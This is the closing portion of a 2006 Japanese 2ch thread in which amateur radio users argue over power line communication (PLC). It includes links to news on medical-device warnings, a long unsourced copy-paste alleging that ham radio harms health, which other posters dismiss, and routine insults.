>PLCに気が狂ったような反対を展開するのではなくこれこそ千載一遇のチャ
>ンスだと思って新技術に挑戦すべきでしょう。
>後ろ向きではアマチュア無線の名が廃ります。


981 :名無しさんから2ch各局…:2006/12/06(水) 08:47:45
虎やろう逝け


982 :名無しさんから2ch各局…:2006/12/06(水) 08:57:45
さあ、始業時間です。今日もはりきってまいりましょう。

983 :名無しさんから2ch各局…:2006/12/06(水) 09:01:00
さあ社民党の踊り子さん頑張ってまいりまショー

984 :名無しさんから2ch各局…:2006/12/06(水) 09:10:37
一週間ぶりに見るとPLC反対派が押されてるなあ。各BLOGでももう反対の意見も減ったし。
ここにも書いてあったけど政治的な色合いが強い反対は問題だね。もっとピュアにやりたいなあ。


985 :名無しさんから2ch各局…:2006/12/06(水) 09:12:19
おされてると言ったって、論理的な反論ではなくて、
一行か二行のレスが多いだけという気がするが。

986 :名無しさんから2ch各局…:2006/12/06(水) 09:12:53
医療機器に注意喚起 高速電力線通信めぐり厚労省

http://www.asahi.com/health/news/TKY200612050421.html


987 :名無しさんから2ch各局…:2006/12/06(水) 09:17:12
http://blog.goo.ne.jp/ikedanobuo/d/20061205
誰か頼む。俺は文章がだめ。

988 :名無しさんから2ch各局…:2006/12/06(水) 09:19:36
まだ反対の残党か。
朝日は青山の手で動いているだけさ。


989 :名無しさんから2ch各局…:2006/12/06(水) 09:24:59
毎日と朝日に1本づつ書かれて、
読売の担当記者はデスクに「なにやってるんだ!」って言われてるよ。

ところで988さんはどちらの方?

990 :名無しさんから2ch各局…:2006/12/06(水) 09:25:49
>>987
アマチュアからも裏切りが多いんだな。
多勢に無勢に裏切り者までいたんじゃたまらんなあ。


991 :名無しさんから2ch各局…:2006/12/06(水) 09:27:29
>最近環境問題が厳しくなってきたが意外と忘れているのが電波(電磁波)による人体への悪影響だ。
>元々電波というものは目に見えないものだけにそれによる被害があっても分からない場合が多い。
>電波は超音波とX線の間にあるものでそれを使って通信が行われているのは良く知られている。
>社会にとって通信は不可欠なものであることからその利用が優先されてきたが最近になって携帯電
>話が普及してきてそれによる問題がクローズアップされてきたのはご存知だろう。
>電波には微小なものから放送局のような強力なものまでいろいろある。その周波数と扱う電力によ
>って人体や他の電子機器に与える影響には差があるようだ。
>最近話題になっているPower Line Communication(電力線通信)いわゆるPLCと呼ばれるものだが
>、日本で許可されて普及し始めているようだ。
>これについて厚生労働省は人体やペースメーカーなどに悪影響を及ぼす可能性もあると指摘してい
>る。さらに環境問題の面などから大学教授らが運用許可の取り消しを求めて行政訴訟を行っている。
>話によるとPLCというものは他の無線通信に悪影響を与えるほか人体や医療機器に対しても影響を
>及ぼすとのことだ。
>このような問題のある電波が社会にばらまかれたのであれば市民生活が危険に晒されることになる
>というものだ。我々としてもこれが普及して街中で使われることを規制してほしいと思うのは自然
>であると考える。


992 :名無しさんから2ch各局…:2006/12/06(水) 09:28:01
>携帯電話は最も影響のあるのは使用者本人であるから病院や人ごみの場所以外で使うのであればそ
>れは自己責任と言えるがPLCは一般住宅などで使われて電波が拡散されるものだという。
>この問題が伝えられてから電波で検索してみて驚いたものを発見した。日本におけるアマチュア無
>線の活動である。今話題になっている携帯電話で扱う電力は数十ー数百ミリワットであるし、PLC
>に至っては10ミリワットだそうだ。ところがアマチュア無線に許可されている電力はなんと1000ワ
>ットだということらしい。そんなアマチュア無線が日本では何と60万人もいることだ。その多くが
>市街地で電波を出しているという。
>1000Wと言えばPLCの10万倍の電力だ。さらに検索してみたら高性能アンテナを使うことによりその
>エネルギーを100-10000倍にも増力して特定方向に向けて発射しているらしい。単純計算をしても携
>帯電話の1000万倍ものエネルギーを放射していることになる。
>検索してみて驚いた記事を見つけた。アマチュア無線局の周辺では男子が生まれることが非常に少
>ないという事実があるらしい。昔、放送局に勤務している人には女子が生まれるという話は聞いた
>ことがあるが、アマチュア無線とは初耳だ。しかしここまで大きな電力を扱うとなればそれも頷ける。
>ではどうしてPLCが問題になってアマチュア無線が問題にされないのか不思議だったので伝手を頼っ
>て免許している総務省の出先機関に問い合わせてみた。
>答えはこうだ。アマチュア無線の運用においても他の通信、電子機器さらには人体などへの影響が
>起きないように基準を設けてあるという。 電波防護指針という基準でこれに合致しなければ許可
>されないことになっているという。さらに調べてみたら、この防護指針は全ての電波エネルギーが
>アンテナから発射される場合であって一般のアマチュアは未熟な技術力が故にアンテナ以外の経路、
>即ち電線や電話線などを伝って電波が撒き散らされているという。


993 :名無しさんから2ch各局…:2006/12/06(水) 09:28:59
>この不要電波によって近隣住民の使っているテレビや音響機器さらにはコンピュータなどに悪影響
>を及ぼしているという。そのエネルギーはPLCなどとは比較にならない大きさで人体への影響は大
>きいと言われている。
>更にアマチュアが使うトランシーバは出力も携帯電話の10-100倍にもなりこれを近くで使われて心
>臓ペースメーカーが誤動作して大事件になったこともあったというのには驚いた。
>この件も総務省に問い合わせてみたら、全ての無線局はアンテナに効率良く電波を送り込むことが
>法律で定められており、不整合されたアンテナを使って近隣住民に悪影響を与えた場合は処罰の対
>象になるのでそのような事例があれば報告して欲しいとのことだった。
>何れにしろPLCでさえここまで問題にされているのに既に60万人がこのような大電力通信がアマチュ
>ア無線と称して日夜市街地から電波を発射していることを容認することができるのだろうか。環境
>問題さらには生存権の問題として世間にこの事実を公知させるのは我々の務めだと思っている。
>そこでPLC問題で訴訟している訴訟団を探し当てて連絡を取ろうとしてビックリした。
>なんとPLCが環境に悪影響を与えると訴えている訴訟団のメンバーの殆どがアマチュア無線家だとい
>うことだ。いったいこれは何たることか、全く理解できないどころか呆れてしまった。
>今後この訴訟を見守りながら我々もアマチュア無線を環境問題として提訴する方向で活動したいと
>考えている。


994 :名無しさんから2ch各局…:2006/12/06(水) 09:31:56
ソースも示さないコピペばっか。

995 :名無しさんから2ch各局…:2006/12/06(水) 09:43:55
俺も環境問題を持ち出したらこっちにとばっちりが来ると思うよ。
手段を選ばない訴訟はいかがなものかと思うんだけど。


996 :名無しさんから2ch各局…:2006/12/06(水) 10:00:15
奇人変人ばっかりだな、お前らに必要なのは心療内科だろ?

997 :名無しさんから2ch各局…:2006/12/06(水) 10:00:58
それってアマチュア無線全般にいえるのでは?

998 :名無しさんから2ch各局…:2006/12/06(水) 10:02:03
そろそろだな。

999 :名無しさんから2ch各局…:2006/12/06(水) 10:02:48
999!!

1000 :名無しさんから2ch各局…:2006/12/06(水) 10:03:46
このスレってキチガイどもの慰安所でしたな、
面白いバカ祭りでした。

1001 :1001:Over 1000 Thread
このスレッドは1000を超えました。
もう書けないので、新しいスレッドを立ててくださいです。。。

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